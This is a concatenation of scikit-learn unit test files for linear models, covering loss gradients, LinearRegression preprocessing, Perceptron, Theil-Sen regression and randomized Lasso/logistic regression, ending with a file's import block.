    # Test ModifiedHuber
    loss = sgd_fast.ModifiedHuber()
    cases = [
        # (p, y, expected)
        (1.0, 1.0, 0.0), (-1.0, -1.0, 0.0), (2.0, 1.0, 0.0),
        (0.0, 1.0, -2.0), (-1.0, 1.0, -4.0), (0.5, -1.0, 3.0),
        (0.5, -1.0, 3.0), (-2.0, 1.0, -4.0), (-3.0, 1.0, -4.0)
    ]
    _test_gradient_common(loss, cases)


def test_gradient_epsilon_insensitive():
    # Test EpsilonInsensitive
    loss = sgd_fast.EpsilonInsensitive(0.1)
    cases = [
        (0.0, 0.0, 0.0), (0.1, 0.0, 0.0), (-2.05, -2.0, 0.0),
        (3.05, 3.0, 0.0), (2.2, 2.0, 1.0), (2.0, -1.0, 1.0),
        (2.0, 2.2, -1.0), (-2.0, 1.0, -1.0)
    ]
    _test_gradient_common(loss, cases)


def test_gradient_squared_epsilon_insensitive():
    # Test SquaredEpsilonInsensitive
    loss = sgd_fast.SquaredEpsilonInsensitive(0.1)
    cases = [
        (0.0, 0.0, 0.0), (0.1, 0.0, 0.0), (-2.05, -2.0, 0.0),
        (3.05, 3.0, 0.0), (2.2, 2.0, 0.2), (2.0, -1.0, 5.8),
        (2.0, 2.2, -0.2), (-2.0, 1.0, -5.8)
    ]
    _test_gradient_common(loss, cases)






# Author: Alexandre Gramfort <alexandre.gramfort@inria.fr>
#         Fabian Pedregosa <fabian.pedregosa@inria.fr>
#
# License: BSD 3 clause

import numpy as np
from scipy import sparse
from scipy import linalg
from itertools import product


from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import ignore_warnings

from sklearn.linear_model.base import LinearRegression
from sklearn.linear_model.base import _preprocess_data
from sklearn.linear_model.base import sparse_center_data, center_data
from sklearn.linear_model.base import _rescale_data
from sklearn.utils import check_random_state
from sklearn.utils.testing import assert_greater
from sklearn.datasets.samples_generator import make_sparse_uncorrelated
from sklearn.datasets.samples_generator import make_regression

rng = np.random.RandomState(0)


def test_linear_regression():
    # Test LinearRegression on a simple dataset.
    # a simple dataset
    X = [[1], [2]]
    Y = [1, 2]

    reg = LinearRegression()
    reg.fit(X, Y)

    assert_array_almost_equal(reg.coef_, [1])
    assert_array_almost_equal(reg.intercept_, [0])
    assert_array_almost_equal(reg.predict(X), [1, 2])

    # test it also for degenerate input
    X = [[1]]
    Y = [0]

    reg = LinearRegression()
    reg.fit(X, Y)
    assert_array_almost_equal(reg.coef_, [0])
    assert_array_almost_equal(reg.intercept_, [0])
    assert_array_almost_equal(reg.predict(X), [0])


def test_linear_regression_sample_weights():
    # TODO: loop over sparse data as well

    rng = np.random.RandomState(0)

    # It would not work with under-determined systems
    for n_samples, n_features in ((6, 5), ):

        y = rng.randn(n_samples)
        X = rng.randn(n_samples, n_features)
        sample_weight = 1.0 + rng.rand(n_samples)

        for intercept in (True, False):

            # LinearRegression with explicit sample_weight
            reg = LinearRegression(fit_intercept=intercept)
            reg.fit(X, y, sample_weight=sample_weight)
            coefs1 = reg.coef_
            inter1 = reg.intercept_

            assert_equal(reg.coef_.shape, (X.shape[1], ))  # sanity checks
            assert_greater(reg.score(X, y), 0.5)

            # Closed form of the weighted least square
            # theta = (X^T W X)^(-1) * X^T W y
            W = np.diag(sample_weight)
            if intercept is False:
                X_aug = X
            else:
                dummy_column = np.ones(shape=(n_samples, 1))
                X_aug = np.concatenate((dummy_column, X), axis=1)

            coefs2 = linalg.solve(X_aug.T.dot(W).dot(X_aug),
                                  X_aug.T.dot(W).dot(y))

            if intercept is False:
                assert_array_almost_equal(coefs1, coefs2)
            else:
                assert_array_almost_equal(coefs1, coefs2[1:])
                assert_almost_equal(inter1, coefs2[0])


def test_raises_value_error_if_sample_weights_greater_than_1d():
    # Sample weights must be either scalar or 1D

    n_sampless = [2, 3]
    n_featuress = [3, 2]

    for n_samples, n_features in zip(n_sampless, n_featuress):
        X = rng.randn(n_samples, n_features)
        y = rng.randn(n_samples)
        sample_weights_OK = rng.randn(n_samples) ** 2 + 1
        sample_weights_OK_1 = 1.
        sample_weights_OK_2 = 2.

        reg = LinearRegression()

        # make sure the "OK" sample weights actually work
        reg.fit(X, y, sample_weights_OK)
        reg.fit(X, y, sample_weights_OK_1)
        reg.fit(X, y, sample_weights_OK_2)


def test_fit_intercept():
    # Test assertions on betas shape.
    X2 = np.array([[0.38349978, 0.61650022],
                   [0.58853682, 0.41146318]])
    X3 = np.array([[0.27677969, 0.70693172, 0.01628859],
                   [0.08385139, 0.20692515, 0.70922346]])
    y = np.array([1, 1])

    lr2_without_intercept = LinearRegression(fit_intercept=False).fit(X2, y)
    lr2_with_intercept = LinearRegression(fit_intercept=True).fit(X2, y)

    lr3_without_intercept = LinearRegression(fit_intercept=False).fit(X3, y)
    lr3_with_intercept = LinearRegression(fit_intercept=True).fit(X3, y)

    assert_equal(lr2_with_intercept.coef_.shape,
                 lr2_without_intercept.coef_.shape)
    assert_equal(lr3_with_intercept.coef_.shape,
                 lr3_without_intercept.coef_.shape)
    assert_equal(lr2_without_intercept.coef_.ndim,
                 lr3_without_intercept.coef_.ndim)


def test_linear_regression_sparse(random_state=0):
    # Test that linear regression also works with sparse data
    random_state = check_random_state(random_state)
    for i in range(10):
        n = 100
        X = sparse.eye(n, n)
        beta = random_state.rand(n)
        y = X * beta[:, np.newaxis]

        ols = LinearRegression()
        ols.fit(X, y.ravel())
        assert_array_almost_equal(beta, ols.coef_ + ols.intercept_)

        assert_array_almost_equal(ols.predict(X) - y.ravel(), 0)


def test_linear_regression_multiple_outcome(random_state=0):
    # Test multiple-outcome linear regressions
    X, y = make_regression(random_state=random_state)

    Y = np.vstack((y, y)).T
    n_features = X.shape[1]

    reg = LinearRegression(fit_intercept=True)
    reg.fit((X), Y)
    assert_equal(reg.coef_.shape, (2, n_features))
    Y_pred = reg.predict(X)
    reg.fit(X, y)
    y_pred = reg.predict(X)
    assert_array_almost_equal(np.vstack((y_pred, y_pred)).T, Y_pred, decimal=3)


def test_linear_regression_sparse_multiple_outcome(random_state=0):
    # Test multiple-outcome linear regressions with sparse data
    random_state = check_random_state(random_state)
    X, y = make_sparse_uncorrelated(random_state=random_state)
    X = sparse.coo_matrix(X)
    Y = np.vstack((y, y)).T
    n_features = X.shape[1]

    ols = LinearRegression()
    ols.fit(X, Y)
    assert_equal(ols.coef_.shape, (2, n_features))
    Y_pred = ols.predict(X)
    ols.fit(X, y.ravel())
    y_pred = ols.predict(X)
    assert_array_almost_equal(np.vstack((y_pred, y_pred)).T, Y_pred, decimal=3)


def test_preprocess_data():
    n_samples = 200
    n_features = 2
    X = rng.rand(n_samples, n_features)
    y = rng.rand(n_samples)
    expected_X_mean = np.mean(X, axis=0)
    expected_X_norm = np.std(X, axis=0) * np.sqrt(X.shape[0])
    expected_y_mean = np.mean(y, axis=0)

    Xt, yt, X_mean, y_mean, X_norm = \
        _preprocess_data(X, y, fit_intercept=False, normalize=False)
    assert_array_almost_equal(X_mean, np.zeros(n_features))
    assert_array_almost_equal(y_mean, 0)
    assert_array_almost_equal(X_norm, np.ones(n_features))
    assert_array_almost_equal(Xt, X)
    assert_array_almost_equal(yt, y)

    Xt, yt, X_mean, y_mean, X_norm = \
        _preprocess_data(X, y, fit_intercept=True, normalize=False)
    assert_array_almost_equal(X_mean, expected_X_mean)
    assert_array_almost_equal(y_mean, expected_y_mean)
    assert_array_almost_equal(X_norm, np.ones(n_features))
    assert_array_almost_equal(Xt, X - expected_X_mean)
    assert_array_almost_equal(yt, y - expected_y_mean)

    Xt, yt, X_mean, y_mean, X_norm = \
        _preprocess_data(X, y, fit_intercept=True, normalize=True)
    assert_array_almost_equal(X_mean, expected_X_mean)
    assert_array_almost_equal(y_mean, expected_y_mean)
    assert_array_almost_equal(X_norm, expected_X_norm)
    assert_array_almost_equal(Xt, (X - expected_X_mean) / expected_X_norm)
    assert_array_almost_equal(yt, y - expected_y_mean)


def test_preprocess_data_multioutput():
    n_samples = 200
    n_features = 3
    n_outputs = 2
    X = rng.rand(n_samples, n_features)
    y = rng.rand(n_samples, n_outputs)
    expected_y_mean = np.mean(y, axis=0)

    args = [X, sparse.csc_matrix(X)]
    for X in args:
        _, yt, _, y_mean, _ = _preprocess_data(X, y, fit_intercept=False,
                                               normalize=False)
        assert_array_almost_equal(y_mean, np.zeros(n_outputs))
        assert_array_almost_equal(yt, y)

        _, yt, _, y_mean, _ = _preprocess_data(X, y, fit_intercept=True,
                                               normalize=False)
        assert_array_almost_equal(y_mean, expected_y_mean)
        assert_array_almost_equal(yt, y - y_mean)

        _, yt, _, y_mean, _ = _preprocess_data(X, y, fit_intercept=True,
                                               normalize=True)
        assert_array_almost_equal(y_mean, expected_y_mean)
        assert_array_almost_equal(yt, y - y_mean)


def test_preprocess_data_weighted():
    n_samples = 200
    n_features = 2
    X = rng.rand(n_samples, n_features)
    y = rng.rand(n_samples)
    sample_weight = rng.rand(n_samples)
    expected_X_mean = np.average(X, axis=0, weights=sample_weight)
    expected_y_mean = np.average(y, axis=0, weights=sample_weight)

    # XXX: if normalize=True, should we expect a weighted standard deviation?
    #      Currently not weighted, but calculated with respect to weighted mean
    expected_X_norm = (np.sqrt(X.shape[0]) *
                       np.mean((X - expected_X_mean) ** 2, axis=0) ** .5)

    Xt, yt, X_mean, y_mean, X_norm = \
        _preprocess_data(X, y, fit_intercept=True, normalize=False,
                         sample_weight=sample_weight)
    assert_array_almost_equal(X_mean, expected_X_mean)
    assert_array_almost_equal(y_mean, expected_y_mean)
    assert_array_almost_equal(X_norm, np.ones(n_features))
    assert_array_almost_equal(Xt, X - expected_X_mean)
    assert_array_almost_equal(yt, y - expected_y_mean)

    Xt, yt, X_mean, y_mean, X_norm = \
        _preprocess_data(X, y, fit_intercept=True, normalize=True,
                         sample_weight=sample_weight)
    assert_array_almost_equal(X_mean, expected_X_mean)
    assert_array_almost_equal(y_mean, expected_y_mean)
    assert_array_almost_equal(X_norm, expected_X_norm)
    assert_array_almost_equal(Xt, (X - expected_X_mean) / expected_X_norm)
    assert_array_almost_equal(yt, y - expected_y_mean)


def test_sparse_preprocess_data_with_return_mean():
    n_samples = 200
    n_features = 2
    # random_state not supported yet in sparse.rand
    X = sparse.rand(n_samples, n_features, density=.5)  # , random_state=rng
    X = X.tolil()
    y = rng.rand(n_samples)
    XA = X.toarray()
    expected_X_norm = np.std(XA, axis=0) * np.sqrt(X.shape[0])

    Xt, yt, X_mean, y_mean, X_norm = \
        _preprocess_data(X, y, fit_intercept=False, normalize=False,
                         return_mean=True)
    assert_array_almost_equal(X_mean, np.zeros(n_features))
    assert_array_almost_equal(y_mean, 0)
    assert_array_almost_equal(X_norm, np.ones(n_features))
    assert_array_almost_equal(Xt.A, XA)
    assert_array_almost_equal(yt, y)

    Xt, yt, X_mean, y_mean, X_norm = \
        _preprocess_data(X, y, fit_intercept=True, normalize=False,
                         return_mean=True)
    assert_array_almost_equal(X_mean, np.mean(XA, axis=0))
    assert_array_almost_equal(y_mean, np.mean(y, axis=0))
    assert_array_almost_equal(X_norm, np.ones(n_features))
    assert_array_almost_equal(Xt.A, XA)
    assert_array_almost_equal(yt, y - np.mean(y, axis=0))

    Xt, yt, X_mean, y_mean, X_norm = \
        _preprocess_data(X, y, fit_intercept=True, normalize=True,
                         return_mean=True)
    assert_array_almost_equal(X_mean, np.mean(XA, axis=0))
    assert_array_almost_equal(y_mean, np.mean(y, axis=0))
    assert_array_almost_equal(X_norm, expected_X_norm)
    assert_array_almost_equal(Xt.A, XA / expected_X_norm)
    assert_array_almost_equal(yt, y - np.mean(y, axis=0))


def test_csr_preprocess_data():
    # Test output format of _preprocess_data, when input is csr
    X, y = make_regression()
    X[X < 2.5] = 0.0
    csr = sparse.csr_matrix(X)
    csr_, y, _, _, _ = _preprocess_data(csr, y, True)
    assert_equal(csr_.getformat(), 'csr')


def test_rescale_data():
    n_samples = 200
    n_features = 2

    sample_weight = 1.0 + rng.rand(n_samples)
    X = rng.rand(n_samples, n_features)
    y = rng.rand(n_samples)
    rescaled_X, rescaled_y = _rescale_data(X, y, sample_weight)
    rescaled_X2 = X * np.sqrt(sample_weight)[:, np.newaxis]
    rescaled_y2 = y * np.sqrt(sample_weight)
    assert_array_almost_equal(rescaled_X, rescaled_X2)
    assert_array_almost_equal(rescaled_y, rescaled_y2)


@ignore_warnings  # all deprecation warnings
def test_deprecation_center_data():
    n_samples = 200
    n_features = 2

    w = 1.0 + rng.rand(n_samples)
    X = rng.rand(n_samples, n_features)
    y = rng.rand(n_samples)

    param_grid = product([True, False], [True, False], [True, False],
                         [None, w])

    for (fit_intercept, normalize, copy, sample_weight) in param_grid:

        XX = X.copy()  # such that we can try copy=False as well

        X1, y1, X1_mean, X1_var, y1_mean = \
            center_data(XX, y, fit_intercept=fit_intercept,
                        normalize=normalize, copy=copy,
                        sample_weight=sample_weight)

        XX = X.copy()

        X2, y2, X2_mean, X2_var, y2_mean = \
            _preprocess_data(XX, y, fit_intercept=fit_intercept,
                             normalize=normalize, copy=copy,
                             sample_weight=sample_weight)

        assert_array_almost_equal(X1, X2)
        assert_array_almost_equal(y1, y2)
        assert_array_almost_equal(X1_mean, X2_mean)
        assert_array_almost_equal(X1_var, X2_var)
        assert_array_almost_equal(y1_mean, y2_mean)

    # Sparse cases
    X = sparse.csr_matrix(X)

    for (fit_intercept, normalize, copy, sample_weight) in param_grid:

        X1, y1, X1_mean, X1_var, y1_mean = \
            center_data(X, y, fit_intercept=fit_intercept, normalize=normalize,
                        copy=copy, sample_weight=sample_weight)

        X2, y2, X2_mean, X2_var, y2_mean = \
            _preprocess_data(X, y, fit_intercept=fit_intercept,
                             normalize=normalize, copy=copy,
                             sample_weight=sample_weight, return_mean=False)

        assert_array_almost_equal(X1.toarray(), X2.toarray())
        assert_array_almost_equal(y1, y2)
        assert_array_almost_equal(X1_mean, X2_mean)
        assert_array_almost_equal(X1_var, X2_var)
        assert_array_almost_equal(y1_mean, y2_mean)

    for (fit_intercept, normalize) in product([True, False], [True, False]):

        X1, y1, X1_mean, X1_var, y1_mean = \
            sparse_center_data(X, y, fit_intercept=fit_intercept,
                               normalize=normalize)

        X2, y2, X2_mean, X2_var, y2_mean = \
            _preprocess_data(X, y, fit_intercept=fit_intercept,
                             normalize=normalize, return_mean=True)

        assert_array_almost_equal(X1.toarray(), X2.toarray())
        assert_array_almost_equal(y1, y2)
        assert_array_almost_equal(X1_mean, X2_mean)
        assert_array_almost_equal(X1_var, X2_var)
        assert_array_almost_equal(y1_mean, y2_mean)






import numpy as np
import scipy.sparse as sp

from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_raises

from sklearn.utils import check_random_state
from sklearn.datasets import load_iris
from sklearn.linear_model import Perceptron

iris = load_iris()
random_state = check_random_state(12)
indices = np.arange(iris.data.shape[0])
random_state.shuffle(indices)
X = iris.data[indices]
y = iris.target[indices]
X_csr = sp.csr_matrix(X)
X_csr.sort_indices()


class MyPerceptron(object):

    def __init__(self, n_iter=1):
        self.n_iter = n_iter

    def fit(self, X, y):
        n_samples, n_features = X.shape
        self.w = np.zeros(n_features, dtype=np.float64)
        self.b = 0.0

        for t in range(self.n_iter):
            for i in range(n_samples):
                if self.predict(X[i])[0] != y[i]:
                    self.w += y[i] * X[i]
                    self.b += y[i]

    def project(self, X):
        return np.dot(X, self.w) + self.b

    def predict(self, X):
        X = np.atleast_2d(X)
        return np.sign(self.project(X))


def test_perceptron_accuracy():
    for data in (X, X_csr):
        clf = Perceptron(n_iter=30, shuffle=False)
        clf.fit(data, y)
        score = clf.score(data, y)
        assert_true(score >= 0.7)


def test_perceptron_correctness():
    y_bin = y.copy()
    y_bin[y != 1] = -1

    clf1 = MyPerceptron(n_iter=2)
    clf1.fit(X, y_bin)

    clf2 = Perceptron(n_iter=2, shuffle=False)
    clf2.fit(X, y_bin)

    assert_array_almost_equal(clf1.w, clf2.coef_.ravel())


def test_undefined_methods():
    clf = Perceptron()
    for meth in ("predict_proba", "predict_log_proba"):
        assert_raises(AttributeError, lambda x: getattr(clf, x), meth)






"""
Testing for Theil-Sen module (sklearn.linear_model.theil_sen)
"""

# Author: Florian Wilhelm <florian.wilhelm@gmail.com>
# License: BSD 3 clause

from __future__ import division, print_function, absolute_import

import os
import sys
from contextlib import contextmanager
import numpy as np
from numpy.testing import assert_array_equal, assert_array_less
from numpy.testing import assert_array_almost_equal, assert_warns
from scipy.linalg import norm
from scipy.optimize import fmin_bfgs
from nose.tools import raises, assert_almost_equal
from sklearn.exceptions import ConvergenceWarning
from sklearn.linear_model import LinearRegression, TheilSenRegressor
from sklearn.linear_model.theil_sen import _spatial_median, _breakdown_point
from sklearn.linear_model.theil_sen import _modified_weiszfeld_step
from sklearn.utils.testing import assert_greater, assert_less


@contextmanager
def no_stdout_stderr():
    old_stdout = sys.stdout
    old_stderr = sys.stderr
    with open(os.devnull, 'w') as devnull:
        sys.stdout = devnull
        sys.stderr = devnull
        yield
        devnull.flush()
        sys.stdout = old_stdout
        sys.stderr = old_stderr


def gen_toy_problem_1d(intercept=True):
    random_state = np.random.RandomState(0)
    # Linear model y = 3*x + N(2, 0.1**2)
    w = 3.
    if intercept:
        c = 2.
        n_samples = 50
    else:
        c = 0.1
        n_samples = 100
    x = random_state.normal(size=n_samples)
    noise = 0.1 * random_state.normal(size=n_samples)
    y = w * x + c + noise
    # Add some outliers
    if intercept:
        x[42], y[42] = (-2, 4)
        x[43], y[43] = (-2.5, 8)
        x[33], y[33] = (2.5, 1)
        x[49], y[49] = (2.1, 2)
    else:
        x[42], y[42] = (-2, 4)
        x[43], y[43] = (-2.5, 8)
        x[53], y[53] = (2.5, 1)
        x[60], y[60] = (2.1, 2)
        x[72], y[72] = (1.8, -7)
    return x[:, np.newaxis], y, w, c


def gen_toy_problem_2d():
    random_state = np.random.RandomState(0)
    n_samples = 100
    # Linear model y = 5*x_1 + 10*x_2 + N(1, 0.1**2)
    X = random_state.normal(size=(n_samples, 2))
    w = np.array([5., 10.])
    c = 1.
    noise = 0.1 * random_state.normal(size=n_samples)
    y = np.dot(X, w) + c + noise
    # Add some outliers
    n_outliers = n_samples // 10
    ix = random_state.randint(0, n_samples, size=n_outliers)
    y[ix] = 50 * random_state.normal(size=n_outliers)
    return X, y, w, c


def gen_toy_problem_4d():
    random_state = np.random.RandomState(0)
    n_samples = 10000
    # Linear model y = 5*x_1 + 10*x_2  + 42*x_3 + 7*x_4 + N(1, 0.1**2)
    X = random_state.normal(size=(n_samples, 4))
    w = np.array([5., 10., 42., 7.])
    c = 1.
    noise = 0.1 * random_state.normal(size=n_samples)
    y = np.dot(X, w) + c + noise
    # Add some outliers
    n_outliers = n_samples // 10
    ix = random_state.randint(0, n_samples, size=n_outliers)
    y[ix] = 50 * random_state.normal(size=n_outliers)
    return X, y, w, c


def test_modweiszfeld_step_1d():
    X = np.array([1., 2., 3.]).reshape(3, 1)
    # Check startvalue is element of X and solution
    median = 2.
    new_y = _modified_weiszfeld_step(X, median)
    assert_array_almost_equal(new_y, median)
    # Check startvalue is not the solution
    y = 2.5
    new_y = _modified_weiszfeld_step(X, y)
    assert_array_less(median, new_y)
    assert_array_less(new_y, y)
    # Check startvalue is not the solution but element of X
    y = 3.
    new_y = _modified_weiszfeld_step(X, y)
    assert_array_less(median, new_y)
    assert_array_less(new_y, y)
    # Check that a single vector is identity
    X = np.array([1., 2., 3.]).reshape(1, 3)
    y = X[0, ]
    new_y = _modified_weiszfeld_step(X, y)
    assert_array_equal(y, new_y)


def test_modweiszfeld_step_2d():
    X = np.array([0., 0., 1., 1., 0., 1.]).reshape(3, 2)
    y = np.array([0.5, 0.5])
    # Check first two iterations
    new_y = _modified_weiszfeld_step(X, y)
    assert_array_almost_equal(new_y, np.array([1 / 3, 2 / 3]))
    new_y = _modified_weiszfeld_step(X, new_y)
    assert_array_almost_equal(new_y, np.array([0.2792408, 0.7207592]))
    # Check fix point
    y = np.array([0.21132505, 0.78867497])
    new_y = _modified_weiszfeld_step(X, y)
    assert_array_almost_equal(new_y, y)


def test_spatial_median_1d():
    X = np.array([1., 2., 3.]).reshape(3, 1)
    true_median = 2.
    _, median = _spatial_median(X)
    assert_array_almost_equal(median, true_median)
    # Test larger problem and for exact solution in 1d case
    random_state = np.random.RandomState(0)
    X = random_state.randint(100, size=(1000, 1))
    true_median = np.median(X.ravel())
    _, median = _spatial_median(X)
    assert_array_equal(median, true_median)


def test_spatial_median_2d():
    X = np.array([0., 0., 1., 1., 0., 1.]).reshape(3, 2)
    _, median = _spatial_median(X, max_iter=100, tol=1.e-6)

    def cost_func(y):
        dists = np.array([norm(x - y) for x in X])
        return np.sum(dists)

    # Check if median is solution of the Fermat-Weber location problem
    fermat_weber = fmin_bfgs(cost_func, median, disp=False)
    assert_array_almost_equal(median, fermat_weber)
    # Check when maximum iteration is exceeded a warning is emitted
    assert_warns(ConvergenceWarning, _spatial_median, X, max_iter=30, tol=0.)


def test_theil_sen_1d():
    X, y, w, c = gen_toy_problem_1d()
    # Check that Least Squares fails
    lstq = LinearRegression().fit(X, y)
    assert_greater(np.abs(lstq.coef_ - w), 0.9)
    # Check that Theil-Sen works
    theil_sen = TheilSenRegressor(random_state=0).fit(X, y)
    assert_array_almost_equal(theil_sen.coef_, w, 1)
    assert_array_almost_equal(theil_sen.intercept_, c, 1)


def test_theil_sen_1d_no_intercept():
    X, y, w, c = gen_toy_problem_1d(intercept=False)
    # Check that Least Squares fails
    lstq = LinearRegression(fit_intercept=False).fit(X, y)
    assert_greater(np.abs(lstq.coef_ - w - c), 0.5)
    # Check that Theil-Sen works
    theil_sen = TheilSenRegressor(fit_intercept=False,
                                  random_state=0).fit(X, y)
    assert_array_almost_equal(theil_sen.coef_, w + c, 1)
    assert_almost_equal(theil_sen.intercept_, 0.)


def test_theil_sen_2d():
    X, y, w, c = gen_toy_problem_2d()
    # Check that Least Squares fails
    lstq = LinearRegression().fit(X, y)
    assert_greater(norm(lstq.coef_ - w), 1.0)
    # Check that Theil-Sen works
    theil_sen = TheilSenRegressor(max_subpopulation=1e3,
                                  random_state=0).fit(X, y)
    assert_array_almost_equal(theil_sen.coef_, w, 1)
    assert_array_almost_equal(theil_sen.intercept_, c, 1)


def test_calc_breakdown_point():
    bp = _breakdown_point(1e10, 2)
    assert_less(np.abs(bp - 1 + 1 / (np.sqrt(2))), 1.e-6)


@raises(ValueError)
def test_checksubparams_negative_subpopulation():
    X, y, w, c = gen_toy_problem_1d()
    TheilSenRegressor(max_subpopulation=-1, random_state=0).fit(X, y)


@raises(ValueError)
def test_checksubparams_too_few_subsamples():
    X, y, w, c = gen_toy_problem_1d()
    TheilSenRegressor(n_subsamples=1, random_state=0).fit(X, y)


@raises(ValueError)
def test_checksubparams_too_many_subsamples():
    X, y, w, c = gen_toy_problem_1d()
    TheilSenRegressor(n_subsamples=101, random_state=0).fit(X, y)


@raises(ValueError)
def test_checksubparams_n_subsamples_if_less_samples_than_features():
    random_state = np.random.RandomState(0)
    n_samples, n_features = 10, 20
    X = random_state.normal(size=(n_samples, n_features))
    y = random_state.normal(size=n_samples)
    TheilSenRegressor(n_subsamples=9, random_state=0).fit(X, y)


def test_subpopulation():
    X, y, w, c = gen_toy_problem_4d()
    theil_sen = TheilSenRegressor(max_subpopulation=250,
                                  random_state=0).fit(X, y)
    assert_array_almost_equal(theil_sen.coef_, w, 1)
    assert_array_almost_equal(theil_sen.intercept_, c, 1)


def test_subsamples():
    X, y, w, c = gen_toy_problem_4d()
    theil_sen = TheilSenRegressor(n_subsamples=X.shape[0],
                                  random_state=0).fit(X, y)
    lstq = LinearRegression().fit(X, y)
    # Check for exact the same results as Least Squares
    assert_array_almost_equal(theil_sen.coef_, lstq.coef_, 9)


def test_verbosity():
    X, y, w, c = gen_toy_problem_1d()
    # Check that Theil-Sen can be verbose
    with no_stdout_stderr():
        TheilSenRegressor(verbose=True, random_state=0).fit(X, y)
        TheilSenRegressor(verbose=True,
                          max_subpopulation=10,
                          random_state=0).fit(X, y)


def test_theil_sen_parallel():
    X, y, w, c = gen_toy_problem_2d()
    # Check that Least Squares fails
    lstq = LinearRegression().fit(X, y)
    assert_greater(norm(lstq.coef_ - w), 1.0)
    # Check that Theil-Sen works
    theil_sen = TheilSenRegressor(n_jobs=-1,
                                  random_state=0,
                                  max_subpopulation=2e3).fit(X, y)
    assert_array_almost_equal(theil_sen.coef_, w, 1)
    assert_array_almost_equal(theil_sen.intercept_, c, 1)


def test_less_samples_than_features():
    random_state = np.random.RandomState(0)
    n_samples, n_features = 10, 20
    X = random_state.normal(size=(n_samples, n_features))
    y = random_state.normal(size=n_samples)
    # Check that Theil-Sen falls back to Least Squares if fit_intercept=False
    theil_sen = TheilSenRegressor(fit_intercept=False,
                                  random_state=0).fit(X, y)
    lstq = LinearRegression(fit_intercept=False).fit(X, y)
    assert_array_almost_equal(theil_sen.coef_, lstq.coef_, 12)
    # Check fit_intercept=True case. This will not be equal to the Least
    # Squares solution since the intercept is calculated differently.
    theil_sen = TheilSenRegressor(fit_intercept=True, random_state=0).fit(X, y)
    y_pred = theil_sen.predict(X)
    assert_array_almost_equal(y_pred, y, 12)






# Authors: Alexandre Gramfort <alexandre.gramfort@inria.fr>
# License: BSD 3 clause

import numpy as np
from scipy import sparse

from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_raises

from sklearn.linear_model.randomized_l1 import (lasso_stability_path,
                                                RandomizedLasso,
                                                RandomizedLogisticRegression)
from sklearn.datasets import load_diabetes, load_iris
from sklearn.feature_selection import f_regression, f_classif
from sklearn.preprocessing import StandardScaler
from sklearn.linear_model.base import _preprocess_data

diabetes = load_diabetes()
X = diabetes.data
y = diabetes.target
X = StandardScaler().fit_transform(X)
X = X[:, [2, 3, 6, 7, 8]]

# test that the feature score of the best features
F, _ = f_regression(X, y)


def test_lasso_stability_path():
    # Check lasso stability path
    # Load diabetes data and add noisy features
    scaling = 0.3
    coef_grid, scores_path = lasso_stability_path(X, y, scaling=scaling,
                                                  random_state=42,
                                                  n_resampling=30)

    assert_array_equal(np.argsort(F)[-3:],
                       np.argsort(np.sum(scores_path, axis=1))[-3:])


def test_randomized_lasso():
    # Check randomized lasso
    scaling = 0.3
    selection_threshold = 0.5

    # or with 1 alpha
    clf = RandomizedLasso(verbose=False, alpha=1, random_state=42,
                          scaling=scaling,
                          selection_threshold=selection_threshold)
    feature_scores = clf.fit(X, y).scores_
    assert_array_equal(np.argsort(F)[-3:], np.argsort(feature_scores)[-3:])

    # or with many alphas
    clf = RandomizedLasso(verbose=False, alpha=[1, 0.8], random_state=42,
                          scaling=scaling,
                          selection_threshold=selection_threshold)
    feature_scores = clf.fit(X, y).scores_
    assert_equal(clf.all_scores_.shape, (X.shape[1], 2))
    assert_array_equal(np.argsort(F)[-3:], np.argsort(feature_scores)[-3:])

    X_r = clf.transform(X)
    X_full = clf.inverse_transform(X_r)
    assert_equal(X_r.shape[1], np.sum(feature_scores > selection_threshold))
    assert_equal(X_full.shape, X.shape)

    clf = RandomizedLasso(verbose=False, alpha='aic', random_state=42,
                          scaling=scaling)
    feature_scores = clf.fit(X, y).scores_
    assert_array_equal(feature_scores, X.shape[1] * [1.])

    clf = RandomizedLasso(verbose=False, scaling=-0.1)
    assert_raises(ValueError, clf.fit, X, y)

    clf = RandomizedLasso(verbose=False, scaling=1.1)
    assert_raises(ValueError, clf.fit, X, y)


def test_randomized_logistic():
    # Check randomized sparse logistic regression
    iris = load_iris()
    X = iris.data[:, [0, 2]]
    y = iris.target
    X = X[y != 2]
    y = y[y != 2]

    F, _ = f_classif(X, y)

    scaling = 0.3
    clf = RandomizedLogisticRegression(verbose=False, C=1., random_state=42,
                                       scaling=scaling, n_resampling=50,
                                       tol=1e-3)
    X_orig = X.copy()
    feature_scores = clf.fit(X, y).scores_
    assert_array_equal(X, X_orig)   # fit does not modify X
    assert_array_equal(np.argsort(F), np.argsort(feature_scores))

    clf = RandomizedLogisticRegression(verbose=False, C=[1., 0.5],
                                       random_state=42, scaling=scaling,
                                       n_resampling=50, tol=1e-3)
    feature_scores = clf.fit(X, y).scores_
    assert_array_equal(np.argsort(F), np.argsort(feature_scores))


def test_randomized_logistic_sparse():
    # Check randomized sparse logistic regression on sparse data
    iris = load_iris()
    X = iris.data[:, [0, 2]]
    y = iris.target
    X = X[y != 2]
    y = y[y != 2]

    # center here because sparse matrices are usually not centered
    # labels should not be centered
    X, _, _, _, _ = _preprocess_data(X, y, True, True)

    X_sp = sparse.csr_matrix(X)

    F, _ = f_classif(X, y)

    scaling = 0.3
    clf = RandomizedLogisticRegression(verbose=False, C=1., random_state=42,
                                       scaling=scaling, n_resampling=50,
                                       tol=1e-3)
    feature_scores = clf.fit(X, y).scores_
    clf = RandomizedLogisticRegression(verbose=False, C=1., random_state=42,
                                       scaling=scaling, n_resampling=50,
                                       tol=1e-3)
    feature_scores_sp = clf.fit(X_sp, y).scores_
    assert_array_equal(feature_scores, feature_scores_sp)






# Authors: Danny Sullivan <dbsullivan23@gmail.com>
#          Tom Dupre la Tour <tom.dupre-la-tour@m4x.org>
#
# License: BSD 3 clause

import math
import numpy as np
import scipy.sparse as sp

from sklearn.linear_model.sag import get_auto_step_size
from sklearn.linear_model.sag_fast import _multinomial_grad_loss_all_samples
from sklearn.linear_model import LogisticRegression, Ridge
from sklearn.linear_model.base import make_dataset
from sklearn.linear_model.logistic import _multinomial_loss_grad

from sklearn.utils.extmath import logsumexp
from sklearn.utils.extmath import row_norms
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_greater
